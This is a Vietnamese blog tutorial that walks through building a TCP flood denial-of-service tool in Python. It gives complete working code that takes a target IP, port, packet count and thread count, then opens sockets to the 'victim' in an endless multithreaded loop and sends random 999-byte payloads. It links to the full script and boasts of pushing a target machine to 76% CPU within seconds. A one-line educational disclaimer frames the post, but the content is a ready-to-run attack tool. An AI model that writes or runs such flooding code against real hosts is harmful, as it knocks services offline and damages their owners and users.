Lưu ý: Bài viết này để các bạn làm quen với Python và các Module Python, chứ không phải viết Tool DoS để đi tấn công người khác, tuyệt đối không sử dụng với hành vi bất hợp pháp!

Tóm tắt

Hôm nay mình sẽ hướng dẫn cho các bạn cách làm tool DoS TCP Flood đơn giản bằng Python. Đây là 1 công cụ khá là mạnh, có thể khiến máy nạn nhân tràn ngập 1 số gói tin rác và khiến cho CPU tăng cao đến 100%. Nếu máy nào yếu thì chắc sẽ bị sập hoặc mua máy mới.

Trước khi bắt đầu thì các bạn cần phân biệt được về DoS DDoS.

Do đây là Tool DoS, sử dụng tài nguyên từ Modem và PC của bạn nên chỉ hoạt động tốt trong môi trường mạng LAN, nếu tấn công ra bên ngoài thì khá yếu và đôi khi bị phản dame nhé.

Yêu cầu cơ bản

  • Có cài đặt python 3
  • Nắm rõ kiến thức cơ bản về python
  • Cần có mục tiêu cấn công
  • Hiểu về môi trường dòng lệnh mà bạn đang dùng
  • Nên có kiến thức về DoS/DDoS

Hướng dẫn

Chuẩn bị

Khai báo các thư viện cần thiết: random, luồng, socket, hệ thống, thời gian

import random
import threading
import socket
import os
import time

Sau khi import xong, các bạn tiến hành trang trí giao diện cho tool cho ngầu, còn ai không thích có thể bỏ qua.

Dòng 7,8 code os.system('cls')os.system('color 2') là lệnh của hệ thống (os) sẽ gọi lệnh cls color 2 trên cmd

Nó sẽ xoá các lệnh trước và in chữ DOS màu xanh, bạn có thể vào cmd gõ color /? để tìm hiểu về bảng màu.

Lệnh print với chữ r và dấu 3 nháy (đơn hoặc kép) để in chuỗi thuần và nhận nhiều dòng.

Các bạn nào muốn trang trí giống như mình thì có thể lên google gõ từ khóa figlet online rồi vào trang web bất kì để lấy mẫu.

Lấy đầu vào

Giờ chúng ta viết 1 đoạn code ngắn để lấy dữ liệu đầu vào của người dùng:

ip = str(input("[+] IP: "))
port = int(input("[+] Port: "))
packet = int(input("[+] Packets: "))
thread = int(input("[+] Threads: "))
time.sleep(2)

Ở đây mình tạo các biến ip, port, packet, thread để nhận đầu vào từ người dùng.

Vì địa chỉ IP thường có các chuỗi kí tự được cách bởi dấu chấm nên mình đặt nó là ‘str’. Còn ‘int’ viết tắt là Integer là kiểu dữ liệu số nguyên vì cổng, gói, luồng thuộc dạng số.

Sau đó time.sleep(2) có nghĩa là “dừng khoảng chừng 2 giây”.

Giờ mình sẽ tiến hành trang trí phần tấn công để nhìn cho nó bố đời, còn các bạn không thích thì bỏ qua cũng được.

Hàm tấn công

Các bạn tiến hành tạo cho mình một hàm và 2 biến bất kì như sau:

def atk():
    message = random._urandom(999)
    step = 0
    while True:
        try:
            h = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            h.connect((ip,port))
            h.send(message)
            for i in range(packet):
                h.send(message)
            step += 1
            print('[+] Attacking ' + ip +'>>> Sent: ' + str(step))
        except KeyboardInterrupt:
            h.close()
            print("[+] Stoppped by Keyboard Interrupt !!!!")
            pass

Ở đây mình tạo 1 hàm tên là atk() và 2 biến là message và step

message là tin nhắn được bộ tạo số giả ngẫu nhiên từ 0-999 (như vậy là đủ rồi, còn các bạn nào muốn chỉnh cao hơn thì tùy ý). Biến step để lưu số lần tấn công bắt đầu từ 0.

Sau đó mình tạo 1 vòng lặp vô hạn while True: và mệnh đề try except để bắt lỗi trong python

Đầu tiên mình tạo 1 biến có tên là h gọi module socket được tích hợp sẵn trong Python. Socket là các endpoint của một kênh giao tiếp hai chiều sử dụng để kết nối với một chương trình chạy trên một máy tính khác qua Internet. Một chương trình mạng có thể sử dụng nhiều socket cùng một lúc, nhờ đó nhiều chương trình có thể sử dụng Internet cùng một lúc.

h = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Tiếp theo là h.connect((ip,port)) để kết nối với ip và port nạn nhân.

Tiếp đến là h.send(message) sẽ gửi các thông báo nhiễu cho máy nạn nhân gây tràn bộ nhớ kết hợp với vòng lặp for chạy packet lần gửi tin nhắn.

step += 1 là tăng số bước lên 1 và in ra màn hình số lần đã tấn công được.

except KeyboardInterrupt: tức là chỉ khi mà “ngắt bàn phím” cụ thể là ấn Ctrl+C thì lệnh sẽ dừng lại h.close() và in ra chữ “[+] Stopped by Keyboard Interrupt !!!!”

Gọi hàm, thực thi

for b in range(thread):
    thread = threading.Thread(target=atk)
    thread.start()

Vì ở trên mới là hàm thôi nên bạn cần phải gọi và sử dụng nó

Mình tiến hành gọi module threads có sẵn trong Python, nghĩa là đa luồng. Ta có thể hiểu Thread là một đơn vị cơ bản trong CPU. Một luồng sẽ chia sẻ với các luồng khác trong cùng process về thông tin data, các dữ liệu của mình. Việc tạo ra nhiều thread giúp cho các chương trình có thể chạy được nhiều công việc cùng một lúc.

Không những vậy Python cung cấp thread Module và threading Module để bạn có thể bắt đầu một thread mới cũng như một số tác vụ khác trong khi lập trình đa luồng. Mỗi một Thread đều có vòng đời chung là bắt đầu, chạy và kết thúc. Một Thread có thể bị ngắt (interrupt), hoặc tạm dừng (sleeping) trong khi các Thread khác đang chạy – được gọi là yielding.

Full code: https://github.com/lucthienphong1120/dos.py

Chạy tool

Đây là phần quan trọng nhất, các bạn mở cmd trên máy và trỏ đến vị trí tệp dos.py và nhập:

python dos.py

Lúc này giao diện tool của các bạn đã làm sẽ hiện trên màn hình cmd yêu cầu các bạn nhập các thông số: IP máy cần tấn côngPort (cổng), Threads (luồng tấn công), Packet (số lượng gói tin).

Kết quả

Như các bạn thấy đấy, mình nhập thông số vô cùng thấp nhưng kết quả của cuộc tấn công đạt hiệu quả rất cao. Mình để có hơn 5s máy đã lên đến 76% CPU rồi!

Leave a Reply

This site uses cookies to offer you a better browsing experience. By browsing this website, you agree to our use of cookies.